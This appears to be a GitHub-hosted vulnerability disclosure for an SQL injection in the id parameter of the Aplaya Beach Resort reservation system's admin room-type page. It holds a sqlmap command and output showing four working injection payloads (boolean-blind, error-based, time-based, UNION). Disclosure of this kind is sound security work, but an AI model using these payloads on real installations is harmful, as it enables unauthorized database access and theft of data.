-
Notifications
You must be signed in to change notification settings - Fork 0
/
Aplaya-Beach-Resort-Online-Reservation-System-04
37 lines (28 loc) · 1.54 KB
/
Aplaya-Beach-Resort-Online-Reservation-System-04
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Vulnerability discovery author:Qianyongcun
Aplaya Beach Resort Online Reservation System - SQL Injection on(admin/mod_roomtype/index.php?view=view&id=XX)
Vendor Homepage:
https://www.sourcecodester.com/aplaya-beach-resort-online-reservation-system.html
Version:V1.0
Tested on: PHP, Apache, MySQL
Affected Page:
admin/mod_roomtype/index.php
On this page,id parameter is vulnerable to SQL Injection Attack
Proof of vulnerability(Verify using the sqlmap tool after logining):
-> sqlmap -u http://localhost/aplaya/admin/mod_roomtype/index.php?view=view&id=96 --batch
Output:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: view=view&id=(SELECT (CASE WHEN (2000=2000) THEN 96 ELSE (SELECT 4924 UNION SELECT 4326) END))
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: view=view&id=96 OR (SELECT 1686 FROM(SELECT COUNT(*),CONCAT(0x7170717071,(SELECT (ELT(1686=1686,1))),0x716b717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: view=view&id=96 AND (SELECT 3958 FROM (SELECT(SLEEP(5)))JoBe)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: view=view&id=96 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717071,0x796f4d674d74455252454a4366656e76786d6675506347445277574e5652766d59655a4978766164,0x716b717871)-- -
---
[06:16:28] [INFO] the back-end DBMS is MySQL